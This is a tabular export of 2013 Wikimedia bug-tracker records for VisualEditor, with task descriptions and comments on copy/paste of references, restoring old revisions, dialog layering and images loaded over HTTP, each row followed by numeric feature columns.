250965,VisualEditor: Can't copy/paste a reference or template unless you select text either side,*** Bug 52212 has been marked as a duplicate of this bug. ***,,,1375134084,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52212 has been marked as a duplicate of this bug. ***
250955,VisualEditor: Can't copy/paste a reference or template unless you select text either side,"**bi.llybob** wrote:

Note that, at least in Chrome, whitespace is <i>not</t> enough to count as additional text.",,,1373170390,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.2666666666666666,0.8333333333333334,"**bi.llybob** wrote:

Note that, at least in Chrome, whitespace is <i>not</t> enough to count as additional text."
250945,VisualEditor: Can't copy/paste a reference or template unless you select text either side,*** Bug 50594 has been marked as a duplicate of this bug. ***,,,1372794209,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-m2xsnbv7vbfet2rfctjx,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50594 has been marked as a duplicate of this bug. ***
51390,VisualEditor: Restoring oldids broken,"On attempting to edit and restore an oldid, everything works fine (oldid contents appear, diff shows correct wikitext change, etc.) but on save VE appears to send the wrong page version (presumably the 'newer' version that's meant to be replaced?) to MW so nothing gets saved.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1370882100,1371588446.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-465skcravcf5ewxwsyd2,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,1.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,6.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,4.0,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,3.0,3.961038961038961,0.7272727272727273,"On attempting to edit and restore an oldid, everything works fine (oldid contents appear, diff shows correct wikitext change, etc.) but on save VE appears to send the wrong page version (presumably the 'newer' version that's meant to be replaced?) to MW so nothing gets saved.

--------------------------
**Version**: unspecified
**Severity**: critical"
250500,VisualEditor: Restoring oldids broken,Merged and will go out with next deployment.,,,1371588446,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Merged and will go out with next deployment.
250494,VisualEditor: Restoring oldids broken,Related URL: https://gerrit.wikimedia.org/r/69344 (Gerrit Change Icacaa5101386e52309278c8d9871ca1193aa86a9),,,1371583097,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Icacaa5101386e52309278c8d9871ca1193aa86a9)
250488,VisualEditor: Restoring oldids broken,Ed is exactly right. EditPage appears to set basetimestamp this way as well.,,,1371576196,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.266666666666667,0.9333333333333333,Ed is exactly right. EditPage appears to set basetimestamp this way as well.
250480,VisualEditor: Restoring oldids broken,"I can reproduce it. Tellingly, if you make a change and then press save you get an edit conflict. I suspect the problem is we are providing the timestamp of the version you choose to edit as the 'basetimestamp' which I don't think is right. When you hit save the API thinks all the versions ahead of the version you're editing were created since you loaded the page (hence the edit conflict scenario).

I think 'basetimestamp' should always be populated with the timestamp of 'cur', regardless of which version you are editing, but would like confirmation from someone who knows the MW API better.",,,1371573224,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,True,,,-2,,0.5,1.0,0.0,1.5,0.5,0.5,0.5,0.0,0.0,0.5,1.5,5.5,0.0,0.0,0.0,3.0,0.0,6.0,7.0,1.0,0.5,1.0,1.0,0.0,2.0,0.0,1.0,1.0,0.5,1.0,0.0,8.5,3.0,0.5,0.0,4.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,9.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.0,4.0,5.5,2.0,1.5,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,7.0,1.0,0.0,4.5,0.0,8.0,0.0,2.5,1.0,0.0,2.0,1.0,0.0,0.0,4.026176626123744,0.7480169222633527,"I can reproduce it. Tellingly, if you make a change and then press save you get an edit conflict. I suspect the problem is we are providing the timestamp of the version you choose to edit as the 'basetimestamp' which I don't think is right. When you hit save the API thinks all the versions ahead of the version you're editing were created since you loaded the page (hence the edit conflict scenario).

I think 'basetimestamp' should always be populated with the timestamp of 'cur', regardless of which version you are editing, but would like confirmation from someone who knows the MW API better."
250473,VisualEditor: Restoring oldids broken,I can't reproduce this bug. I'll keep the assignment to Ed but it looks like this has been resolved in the mean time.,,,1371511602,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-465skcravcf5ewxwsyd2,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,I can't reproduce this bug. I'll keep the assignment to Ed but it looks like this has been resolved in the mean time.
51361,VisualEditor: Inspector buttons appear above save dialog,"1. Focus a node which triggers an inspector icon
2. Hit save
3. http://i.imgur.com/5YPyQL5.png

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49275
https://bugzilla.wikimedia.org/show_bug.cgi?id=49059",High,80.0,1370781420,1371766472.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_description,resolved,True,c1,2,True,False,True,-4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,3.0408163265306123,0.5306122448979592,"1. Focus a node which triggers an inspector icon
2. Hit save
3. URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
249063,VisualEditor: Inspector buttons appear above save dialog,Merged and will go out later today.,,,1371766472,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,1.0,Merged and will go out later today.
249055,VisualEditor: Inspector buttons appear above save dialog,Related URL: https://gerrit.wikimedia.org/r/69614 (Gerrit Change I2fbc4c8af943f1b096b8912191924961405d5c47),,,1371688630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2fbc4c8af943f1b096b8912191924961405d5c47)
249048,VisualEditor: Inspector buttons appear above save dialog,Probably related: http://i.imgur.com/E5SFyv0.png,,,1370902428,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dbpbmbo7zjpy256zvcs6,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Probably related: URL
51307,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"Because we want to be able to make certain properties non-cloneable, e.g. in ve.dm.MWReferenceNode.prototype.getClonedElement we strip 'contentsUsed'.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1370612580,1372379856.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_description,resolved,True,c1,2,True,False,True,-4,,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,2.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.790697674418604,0.6976744186046512,"Because we want to be able to make certain properties non-cloneable, e.g. in ve.dm.MWReferenceNode.prototype.getClonedElement we strip 'contentsUsed'.

--------------------------
**Version**: unspecified
**Severity**: normal"
245716,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,Fixed and will go live in a few minutes.,,,1372379856,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,True,,,-1,,10.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Fixed and will go live in a few minutes.
245711,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"Change 70913 merged by jenkins-bot:
Invoke getClonedElement() on each element on copy

https://gerrit.wikimedia.org/r/70913",,,1372372301,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,False,,,-1,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.95,"Change 70913 merged by jenkins-bot:
Invoke getClonedElement() on each element on copy

GERRIT_URL"
245703,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"""We should verify...""",,,1372366801,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,33.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8333333333333334,"""We should verify..."""
245696,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"We should very that copy/pasting a named reference with contents, doesn't copy the contents.",,,1372366747,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,16.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.157894736842105,0.8947368421052632,"We should very that copy/pasting a named reference with contents, doesn't copy the contents."
245691,VisualEditor: Copy & paste should use ve.dm.Node#getClonedElement,"Change 70913 had a related patch set uploaded by Catrope:
Invoke getClonedElement() on each element on copy

https://gerrit.wikimedia.org/r/70913",,,1372365026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sxoh4wnqppbjcq4eftvq,task_subcomment,,True,c1,2,False,,,-1,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.521739130434782,0.9565217391304348,"Change 70913 had a related patch set uploaded by Catrope:
Invoke getClonedElement() on each element on copy

GERRIT_URL"
51284,VisualEditor: Review dialog obfuscated by phantoms,"Screenshot of VisualEditor on the English Wikipedia using the Monobook skin, 2013-06-06

VisualEditor's review dialog box can be obfuscated by the green striped area from restricted areas of a page. This is when using Monobook, at least. Maybe Vector too, I don't know. I've attached a screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11508}",High,80.0,1370571600,1372084364.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ypcnrwup72gw33jiae5x,task_description,resolved,True,c1,2,False,False,True,-4,,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,18.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,7.0,11.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,0.0,1.0,0.0,3.8555555555555556,0.6555555555555556,"Screenshot of VisualEditor on the English Wikipedia using the Monobook skin, 2013-06-06

VisualEditor's review dialog box can be obfuscated by the green striped area from restricted areas of a page. This is when using Monobook, at least. Maybe Vector too, I don't know. I've attached a screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11508}"
244237,VisualEditor: Review dialog obfuscated by phantoms,"We solved this specific issue as part of the minor re-work of the save dialog, but see bug 50096 and bug 49059.",,,1372084364,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ypcnrwup72gw33jiae5x,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.8846153846153846,"We solved this specific issue as part of the minor re-work of the save dialog, but see bug 50096 and bug 49059."
244231,VisualEditor: Review dialog obfuscated by phantoms,"Yes, this is a mess; phantoms' z-index is higher than the review panel (which is bad), and trigger when the mouse moves over them even though you're in a ""different"" interface component. This would be solved by switching to the new dialogs (as they're iframes), but we don't have time for that.",,,1370622142,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ypcnrwup72gw33jiae5x,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,1.0,1.0,6.0,4.0,0.0,1.0,0.0,3.0,6.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,20.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,6.0,3.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,6.0,11.0,0.0,0.0,4.0,0.0,6.0,0.0,3.0,3.0,1.0,1.0,1.0,0.0,0.0,3.4714285714285715,0.8285714285714286,"Yes, this is a mess; phantoms' z-index is higher than the review panel (which is bad), and trigger when the mouse moves over them even though you're in a ""different"" interface component. This would be solved by switching to the new dialogs (as they're iframes), but we don't have time for that."
51283,VisualEditor: Images loaded over HTTP unconditionally,"https://en.wikipedia.org/wiki/Jeffrey_Chiesa?veaction=edit

When I go here currently, I get HTTPS warnings.

---
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/5/5f/New_Jersey_Attorne…effrey_S_Chiesa.jpg/144px-New_Jersey_Attorney_General_Jeffrey_S_Chiesa.jpg.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/f/f0/Seal_of_the_United_States_Senate.svg/80px-Seal_of_the_United_States_Senate.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/8/8d/Seal_of_New_Jersey.svg/90px-Seal_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
The page at https://en.wikipedia.org/wiki/Jeffrey_Chiesa displayed insecure content from http://upload.wikimedia.org/wikipedia/commons/thumb/9/92/Flag_of_New_Jersey.svg/75px-Flag_of_New_Jersey.svg.png.
 Jeffrey_Chiesa:1
---

